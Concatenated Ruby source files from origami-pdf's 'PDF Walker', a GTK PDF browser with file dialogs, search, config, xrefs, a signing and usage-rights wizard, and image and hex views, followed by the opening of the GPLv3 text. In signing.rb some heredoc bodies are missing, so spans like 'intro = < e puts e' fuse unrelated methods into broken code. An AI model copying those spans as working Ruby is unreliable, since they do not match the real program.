loaded.\n#{e} (#{e.class})") end end dialog.destroy end def serialize dialog = Gtk::FileChooserDialog.new("Save dump file", self, Gtk::FileChooser::ACTION_SAVE, nil, [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT] ) dialog.do_overwrite_confirmation = true dialog.current_folder = "#{Dir.pwd}/dumps" dialog.current_name = "#{File.basename(@filename)}.dmp.gz" dialog.filter = FileFilter.new.add_pattern("*.gz") if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT @opened.serialize(dialog.filename) end dialog.destroy end def save_data(caption, data, filename = "") dialog = Gtk::FileChooserDialog.new(caption, self, Gtk::FileChooser::ACTION_SAVE, nil, [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT] ) dialog.do_overwrite_confirmation = true dialog.current_name = File.basename(filename) dialog.filter = FileFilter.new.add_pattern("*.*") if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT fd = File.open(dialog.filename, "w").binmode fd << data fd.close end dialog.destroy end def save dialog = Gtk::FileChooserDialog.new("Save PDF file", self, Gtk::FileChooser::ACTION_SAVE, nil, [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT] ) dialog.filter = FileFilter.new.add_pattern("*.acrodata").add_pattern("*.pdf").add_pattern("*.fdf") folder = @filename[0..@filename.size - File.basename(@filename).size - 1] dialog.set_current_folder(folder) if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT @opened.save(dialog.filename) end dialog.destroy end def save_dot dialog = Gtk::FileChooserDialog.new("Save dot file", self, Gtk::FileChooser::ACTION_SAVE, nil, [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT] ) dialog.filter = FileFilter.new.add_pattern("*.dot") folder = @filename[0..@filename.size - File.basename(@filename).size - 1] dialog.set_current_folder(folder) if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT @opened.export_to_graph(dialog.filename) end dialog.destroy end def save_graphml dialog = Gtk::FileChooserDialog.new("Save GraphML file", self, Gtk::FileChooser::ACTION_SAVE, nil, [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT] ) dialog.filter = FileFilter.new.add_pattern("*.graphml") folder = @filename[0..@filename.size - File.basename(@filename).size - 1] dialog.set_current_folder(folder) if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT @opened.export_to_graphml(dialog.filename) end dialog.destroy end private def parsefile(filename) update_bar = lambda { |obj| if @progressbar then @progressbar.pulse end while (Gtk.events_pending?) do Gtk.main_iteration end } prompt_passwd = lambda { passwd = "" dialog = Gtk::Dialog.new( "This document is encrypted", nil, Gtk::Dialog::MODAL, [ Gtk::Stock::OK, Gtk::Dialog::RESPONSE_OK ], [ Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL ] ) dialog.set_default_response(Gtk::Dialog::RESPONSE_OK) label = Gtk::Label.new("Please enter password:") entry = Gtk::Entry.new entry.signal_connect('activate') { dialog.response(Gtk::Dialog::RESPONSE_OK) } dialog.vbox.add(label) dialog.vbox.add(entry) dialog.show_all dialog.run do |response| if response == Gtk::Dialog::RESPONSE_OK passwd = entry.text end end dialog.destroy return passwd } PDF.read(filename, :verbosity => Parser::VERBOSE_INSANE, :ignoreerrors => false, :callback => update_bar, :prompt_password => prompt_passwd ) end def create_progressbar @progresswin = Dialog.new("Parsing file...", self, Dialog::MODAL) @progresswin.vbox.add(@progressbar = ProgressBar.new.set_pulse_step(0.05)) @progresswin.show_all end def close_progressbar @progresswin.close end end end origami-pdf-1.2.7/bin/gui/walker.rb0000644000175000017500000001611712101464040017275 0ustar terceiroterceiro#!/usr/bin/env ruby =begin = File walker.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugré All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . =end begin require 'gtk2' rescue LoadError abort('Error: you need to install ruby-gtk2 to run this application') end include Gtk begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end require 'gui/menu' require 'gui/about' require 'gui/file' require 'gui/hexview' require 'gui/treeview' require 'gui/textview' require 'gui/imgview' require 'gui/config' require 'gui/properties' require 'gui/xrefs' require 'gui/signing' module PDFWalker #:nodoc:all class Walker < Window attr_reader :treeview, :hexview, :objectview attr_reader :explorer_history attr_reader :config attr_reader :filename def self.start(file = nil) Gtk.init Walker.new(file) Gtk.main end def initialize(target_file = nil) super("PDF Walker") @config = Walker::Config.new @last_search_result = [] @last_search = { :expr => "", :regexp => false, :type => :body } @explorer_history = Array.new signal_connect('destroy') { @config.save Gtk.main_quit } add_events(Gdk::Event::KEY_RELEASE_MASK) signal_connect('key_release_event') { |w, event| if event.keyval == Gdk::Keyval::GDK_F1 then about elsif event.keyval == Gdk::Keyval::GDK_Escape && @opened && ! @explorer_history.empty? @treeview.goto(@explorer_history.pop) end } create_menus create_treeview create_hexview create_objectview create_panels create_statusbar @vbox = VBox.new @vbox.pack_start(@menu, false, false) @vbox.pack_start(@hpaned) @vbox.pack_end(@statusbar, false, false) add @vbox set_default_size(self.screen.width * 0.5, self.screen.height * 0.5) #maximize show_all open(target_file) end def error(msg) dialog = Gtk::MessageDialog.new(self, Gtk::Dialog::DESTROY_WITH_PARENT, Gtk::MessageDialog::ERROR, Gtk::MessageDialog::BUTTONS_CLOSE, msg) dialog.run dialog.destroy end def reload @treeview.load(@opened) if @opened end def search dialog = Gtk::Dialog.new("Search...", self, Gtk::Dialog::MODAL | Gtk::Dialog::DESTROY_WITH_PARENT, [Gtk::Stock::FIND, Gtk::Dialog::RESPONSE_OK], [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL] ) entry = Gtk::Entry.new entry.signal_connect('activate') { dialog.response(Gtk::Dialog::RESPONSE_OK) } entry.text = @last_search[:expr] button_bydata = Gtk::RadioButton.new("In object body") button_byname = Gtk::RadioButton.new(button_bydata, "In object name") button_regexp = Gtk::CheckButton.new("Regular expression") button_bydata.set_active(true) if @last_search[:type] == :body button_byname.set_active(true) if @last_search[:type] == :name button_regexp.set_active(@last_search[:regexp]) hbox = HBox.new hbox.pack_start Gtk::Label.new("Search for expression ") hbox.pack_start entry dialog.vbox.pack_start(hbox) dialog.vbox.pack_start(button_bydata) dialog.vbox.pack_start(button_byname) dialog.vbox.pack_end(button_regexp) dialog.signal_connect('response') do |dlg, response| if response == Gtk::Dialog::RESPONSE_OK search = { :expr => entry.text, :regexp => button_regexp.active?, :type => button_byname.active? ? :name : :body } if search == @last_search @last_search_result.push @last_search_result.shift results = @last_search_result else expr = search[:regexp] ? Regexp.new(search[:expr]) : search[:expr] results = if search[:type] == :body @opened.grep(expr) else @opened.ls(expr) end @last_search = search end if results.empty? error("No result found.") else if results != @last_search_result @last_search_result.each do |obj| @treeview.highlight(obj, nil) end results.each do |obj| @treeview.highlight(obj, "lightpink") end @last_search_result = results end @treeview.goto(results.first) end else dialog.destroy end end dialog.show_all end def goto_catalog @treeview.goto(@opened.Catalog.reference) end def goto_object dialog = Gtk::Dialog.new("Jump to object...", self, Gtk::Dialog::MODAL | Gtk::Dialog::DESTROY_WITH_PARENT, [Gtk::Stock::OK, Gtk::Dialog::RESPONSE_OK], [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL] ) entry = Gtk::Entry.new entry.signal_connect('activate') { dialog.response(Gtk::Dialog::RESPONSE_OK) } dialog.vbox.pack_start Gtk::Label.new("Object number: ") dialog.vbox.pack_start entry dialog.show_all no = 0 dialog.run do |response| if response == Gtk::Dialog::RESPONSE_OK no = entry.text.to_i end dialog.destroy end if no > 0 obj = @opened[no] if obj.nil? error("Object #{no} not found.") else @treeview.goto(obj) end end end private def create_panels @hpaned = HPaned.new @treepanel = ScrolledWindow.new.set_policy(POLICY_AUTOMATIC, POLICY_AUTOMATIC) @treepanel.add @treeview @vpaned = VPaned.new @vpaned.pack1(@objectview, true, false) @vpaned.pack2(@hexview, true, false) @hpaned.pack1(@treepanel, true, false) @hpaned.pack2(@vpaned, true, false) end def create_statusbar @statusbar = Statusbar.new @main_context = @statusbar.get_context_id 'Main' @statusbar.push(@main_context, 'No file selected') end end end if __FILE__ == $0 PDFWalker::Walker.start end origami-pdf-1.2.7/bin/gui/xrefs.rb0000644000175000017500000000401512101464040017131 0ustar terceiroterceiro=begin = File xrefs.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugré All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . =end require 'origami' include Origami module PDFWalker class Walker < Window def show_xrefs(target) XrefsDialog.new(self, target) end end class XrefsDialog < Dialog OBJCOL = 0 TEXTCOL = 1 def initialize(parent, target) super("Xrefs to #{target.reference}", parent, Dialog::MODAL, [Stock::CLOSE, Dialog::RESPONSE_NONE]) @parent = parent @list = ListStore.new(Object, String) @view = TreeView.new(@list) column = Gtk::TreeViewColumn.new("Objects", Gtk::CellRendererText.new, :text => TEXTCOL) @view.append_column(column) target.xrefs.each { |obj| str = obj.class.to_s iter = @list.append @list.set_value(iter, OBJCOL, obj) @list.set_value(iter, TEXTCOL, str) } @view.signal_connect("row_activated") { |tree, path, column| if @view.selection.selected from = @list.get_value(@view.selection.selected, OBJCOL) @parent.treeview.goto(from) end } scroll = ScrolledWindow.new.set_policy(POLICY_NEVER, POLICY_AUTOMATIC) scroll.add(@view) vbox.add(scroll) signal_connect('response') { destroy } show_all end end end origami-pdf-1.2.7/bin/gui/config.rb0000644000175000017500000000610712133245664017271 0ustar terceiroterceiro=begin = File config.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugré All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . =end require 'yaml' module PDFWalker class Walker < Window class Config DEFAULT_CONFIG_FILE = "#{File.expand_path("~")}/.pdfwalker.conf.yml" DEFAULT_CONFIG = { "Debug" => { "Profiling" => false, "ProfilingOutputDir" => "prof", "Verbosity" => Parser::VERBOSE_INSANE, "IgnoreFileHeader" => true }, "UI" => { "LastOpenedDocuments" => [] } } NLOG_RECENT_FILES = 5 def initialize(configfile = DEFAULT_CONFIG_FILE) begin @conf = YAML.load(File.open(configfile)) or DEFAULT_CONFIG rescue Exception ensure @filename = configfile set_missing_values end end def last_opened_file(filepath) @conf["UI"]['LastOpenedDocuments'].push(filepath).uniq! @conf["UI"]['LastOpenedDocuments'].delete_at(0) while @conf["UI"]['LastOpenedDocuments'].size > NLOG_RECENT_FILES save end def recent_files(n = NLOG_RECENT_FILES) @conf["UI"]['LastOpenedDocuments'].last(n).reverse end def set_profiling(bool) @conf["Debug"]['Profiling'] = bool save end def profile? @conf["Debug"]['Profiling'] end def profile_output_dir @conf["Debug"]['ProfilingOutputDir'] end def set_ignore_header(bool) @conf["Debug"]['IgnoreFileHeader'] = bool save end def ignore_header? @conf["Debug"]['IgnoreFileHeader'] end def set_verbosity(level) @conf["Debug"]['Verbosity'] = level save end def verbosity @conf["Debug"]['Verbosity'] end def save File.open(@filename, "w").write(@conf.to_yaml) end private def set_missing_values @conf ||= {} DEFAULT_CONFIG.each_key do |cat| @conf[cat] = {} unless @conf.include?(cat) DEFAULT_CONFIG[cat].each_pair do |key, value| @conf[cat][key] = value unless @conf[cat].include?(key) end end end end end end origami-pdf-1.2.7/bin/gui/signing.rb0000644000175000017500000005333112101464040017445 0ustar terceiroterceiro=begin = File signing.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugré All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . =end module PDFWalker class Walker < Window def display_signing_wizard if @opened SignWizard.new(self, @opened) end end def display_usage_rights_wizard if @opened UsageRightsWizard.new(self, @opened) end end class UsageRightsWizard < Assistant def initialize(parent, pdf) super() @parent = parent @pkey, @cert = nil, nil create_intro_page create_rights_selection_page create_termination_page signal_connect('delete_event') { self.destroy } signal_connect('cancel') { self.destroy } signal_connect('close') { self.destroy } signal_connect('apply') { rights = [] rights << UsageRights::Rights::DOCUMENT_FULLSAVE if @document_fullsave.active? rights << UsageRights::Rights::ANNOTS_CREATE if @annots_create.active? rights << UsageRights::Rights::ANNOTS_DELETE if @annots_delete.active? rights << UsageRights::Rights::ANNOTS_MODIFY if @annots_modify.active? rights << UsageRights::Rights::ANNOTS_COPY if @annots_copy.active? rights << UsageRights::Rights::ANNOTS_IMPORT if @annots_import.active? rights << UsageRights::Rights::ANNOTS_EXPORT if @annots_export.active? rights << UsageRights::Rights::ANNOTS_ONLINE if @annots_online.active? rights << UsageRights::Rights::ANNOTS_SUMMARYVIEW if @annots_sumview.active? rights << UsageRights::Rights::FORM_FILLIN if @form_fillin.active? rights << UsageRights::Rights::FORM_IMPORT if @form_import.active? rights << UsageRights::Rights::FORM_EXPORT if @form_export.active? rights << UsageRights::Rights::FORM_SUBMITSTANDALONE if @form_submit.active? rights << UsageRights::Rights::FORM_SPAWNTEMPLATE if @form_spawntemplate.active? rights << UsageRights::Rights::FORM_BARCODEPLAINTEXT if @form_barcode.active? rights << UsageRights::Rights::FORM_ONLINE if @form_online.active? rights << UsageRights::Rights::SIGNATURE_MODIFY if @signature_modify.active? rights << UsageRights::Rights::EF_CREATE if @ef_create.active? rights << UsageRights::Rights::EF_DELETE if @ef_delete.active? rights << UsageRights::Rights::EF_MODIFY if @ef_modify.active? rights << UsageRights::Rights::EF_IMPORT if @ef_import.active? begin pdf.enable_usage_rights(*rights) set_page_title(@lastpage, "Usage Rights have been enabled") @msg_status.text = "Usage Rights have been enabled for the current document.\n You should consider saving it now." @parent.reload rescue Exception => e puts e puts e.backtrace set_page_title(@lastpage, "Usage Rights have not been enabled") @msg_status.text = "An error occured during the signature process." end } show_all end private def create_intro_page intro = < e puts e puts e.backtrace set_page_title(@lastpage, "Document has not been signed") @msg_status.text = "An error occured during the signature process." end } show_all end private def create_intro_page intro = < e puts e.backtrace error = MessageDialog.new(@parent, Dialog::MODAL, Gtk::MessageDialog::ERROR, Gtk::MessageDialog::BUTTONS_CLOSE, "Error loading file '#{File.basename(dialog.filename)}'") error.run error.destroy @pkey, @cert, @ca = nil, nil, [] @p12filename.text = "" set_page_complete(page, false) end end dialog.destroy end vbox = VBox.new(false, 5) hbox = HBox.new(false, 5) vbox.pack_start(hbox, true, false, 10) @p12filename = Entry.new.set_editable(false).set_sensitive(false) choosebtn = Button.new(Gtk::Stock::OPEN) choosebtn.signal_connect('clicked') { open_file_dialog(vbox) } hbox.pack_start(@p12filename, true, true, 5) hbox.pack_start(choosebtn, false, false, 5) append_page(vbox) set_page_title(vbox, "Import a PKCS12 container") set_page_type(vbox, Assistant::PAGE_CONTENT) end def create_keypair_import_page def open_pkey_dialog(page) dialog = FileChooserDialog.new("Choose a private RSA key", @parent, FileChooser::ACTION_OPEN, nil, [Stock::CANCEL, Dialog::RESPONSE_CANCEL], [Stock::OPEN, Dialog::RESPONSE_ACCEPT]) filter = FileFilter.new filter.add_pattern("*.key") filter.add_pattern("*.pem") filter.add_pattern("*.der") dialog.set_filter(filter) if dialog.run == Dialog::RESPONSE_ACCEPT begin @pkey = OpenSSL::PKey::RSA.new(File.open(dialog.filename, 'r').binmode.read) @pkeyfilename.set_text(dialog.filename) if @cert then set_page_complete(page, true) end rescue Exception => e puts e.backtrace error = MessageDialog.new(@parent, Dialog::MODAL, Gtk::MessageDialog::ERROR, Gtk::MessageDialog::BUTTONS_CLOSE, "Error loading file '#{File.basename(dialog.filename)}'") error.run error.destroy @pkey = nil @pkeyfilename.text = "" set_page_complete(page, false) ensure @ca = [] # Shall be added to the GUI end end dialog.destroy end def open_cert_dialog(page) dialog = FileChooserDialog.new("Choose a private RSA key", @parent, FileChooser::ACTION_OPEN, nil, [Stock::CANCEL, Dialog::RESPONSE_CANCEL], [Stock::OPEN, Dialog::RESPONSE_ACCEPT]) filter = FileFilter.new filter.add_pattern("*.crt") filter.add_pattern("*.cer") filter.add_pattern("*.pem") filter.add_pattern("*.der") dialog.set_filter(filter) if dialog.run == Dialog::RESPONSE_ACCEPT begin @cert = OpenSSL::X509::Certificate.new(File.open(dialog.filename, 'r').binmode.read) @certfilename.set_text(dialog.filename) if @pkey then set_page_complete(page, true) end rescue Exception => e puts e.backtrace error = MessageDialog.new(@parent, Dialog::MODAL, Gtk::MessageDialog::ERROR, Gtk::MessageDialog::BUTTONS_CLOSE, "Error loading file '#{File.basename(dialog.filename)}'") error.run error.destroy @cert = nil @certfilename.text = "" set_page_complete(page, false) ensure @ca = [] # Shall be added to the GUI end end dialog.destroy end labels = [ [ "Private RSA key:", @pkeyfilename = Entry.new, pkeychoosebtn = Button.new(Gtk::Stock::OPEN) ], [ "Public certificate:", @certfilename = Entry.new, certchoosebtn = Button.new(Gtk::Stock::OPEN) ] ] row = 0 table = Table.new(2, 3) labels.each do |lbl, entry, btn| entry.editable = entry.sensitive = false table.attach(Label.new(lbl).set_alignment(1,0), 0, 1, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) table.attach(entry, 1, 2, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) table.attach(btn, 2, 3, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) row = row.succ end pkeychoosebtn.signal_connect('clicked') { open_pkey_dialog(table) } certchoosebtn.signal_connect('clicked') { open_cert_dialog(table) } append_page(table) set_page_title(table, "Import a public/private key pair") set_page_type(table, Assistant::PAGE_CONTENT) end def create_signature_info_page vbox = VBox.new(false, 5) lbl = Label.new("Here are a few optional information you can add with your signature.") vbox.pack_start(lbl, true, true, 0) labels = [ [ "Location:", @location = Entry.new ], [ "Contact:", @email = Entry.new ], [ "Reason:", @reason = Entry.new ] ] row = 0 table = Table.new(4, 3) labels.each do |label| table.attach(Label.new(label[0]).set_alignment(1,0), 0, 1, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) table.attach(label[1], 1, 2, row, row + 1, Gtk::EXPAND | Gtk::FILL, Gtk::SHRINK, 4, 4) row = row.succ end vbox.pack_start(table, true, true, 0) append_page(vbox) set_page_title(vbox, "Fill in signature details") set_page_type(vbox, Assistant::PAGE_CONFIRM) set_page_complete(vbox, true) end def create_termination_page @lastpage = VBox.new(false, 5) @msg_status = Label.new @lastpage.pack_start(@msg_status, true, true, 0) append_page(@lastpage) set_page_title(@lastpage, "Document has not been signed") set_page_type(@lastpage, Assistant::PAGE_SUMMARY) end end end end origami-pdf-1.2.7/bin/gui/imgview.rb0000644000175000017500000000330412130621136017454 0ustar terceiroterceiro=begin = File imgview.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugré All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . =end module PDFWalker class ImgViewer < Window attr_reader :image def initialize super() set_title "Image view" set_decorated false set_resizable false add_events(Gdk::Event::KEY_RELEASE_MASK) signal_connect('key_release_event') { |w, event| destroy if event.keyval == Gdk::Keyval::GDK_Escape } end def show_raw_img(data, w, h, bpc, bpr) set_default_size w,h pixbuf = Gdk::Pixbuf.new data, Gdk::Pixbuf::ColorSpace::RGB, false, bpc, w, h, bpr @image = Gtk::Image.new(pixbuf) add @image show_all end def show_compressed_img(data) loader = Gdk::PixbufLoader.new loader.last_write data pixbuf = loader.pixbuf set_default_size pixbuf.width, pixbuf.height @image = Gtk::Image.new(pixbuf) add @image show_all end end end origami-pdf-1.2.7/bin/gui/hexview.rb0000644000175000017500000000344712101464040017471 0ustar terceiroterceiro=begin = File hexview.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugré All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . =end require 'gui/gtkhex' module PDFWalker class Walker < Window private def create_hexview @hexview = DumpView.new(self) end class DumpView < ScrolledWindow def initialize(parent) @parent = parent super() set_policy(POLICY_AUTOMATIC, POLICY_AUTOMATIC) @current_obj = nil @view = HexEditor.new @view.show_offsets(true) add_with_viewport @view end def clear @view.set_data '' end def load(object) return if @current_obj.equal?(object) begin self.clear case object when Origami::Stream @view.set_data(object.data) when Origami::String @view.set_data(object.value) end @current_obj = object rescue Exception => e @parent.error("An error occured while loading this object.\n#{e} (#{e.class})") end end end end end origami-pdf-1.2.7/bin/gui/about.rb0000644000175000017500000000247712101464040017126 0ustar terceiroterceiro=begin = File about.rb = Info This file is part of PDF Walker, a graphical PDF file browser Copyright (C) 2010 Guillaume Delugré All right reserved. PDF Walker is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PDF Walker is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PDF Walker. If not, see . =end module PDFWalker class Walker < Window def about AboutDialog.show(self, { :name => "PDF Walker", :program_name => "PDF Walker", :version => Origami::VERSION, :copyright => "Copyright (C) 2010\nGuillaume Delugre \nAll right reserved.", :comments => "A graphical PDF parser front-end", :license => File.read("#{File.dirname(__FILE__)}/COPYING") }) end end end origami-pdf-1.2.7/bin/gui/COPYING0000644000175000017500000010451311654506427016536 0ustar terceiroterceiro GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore 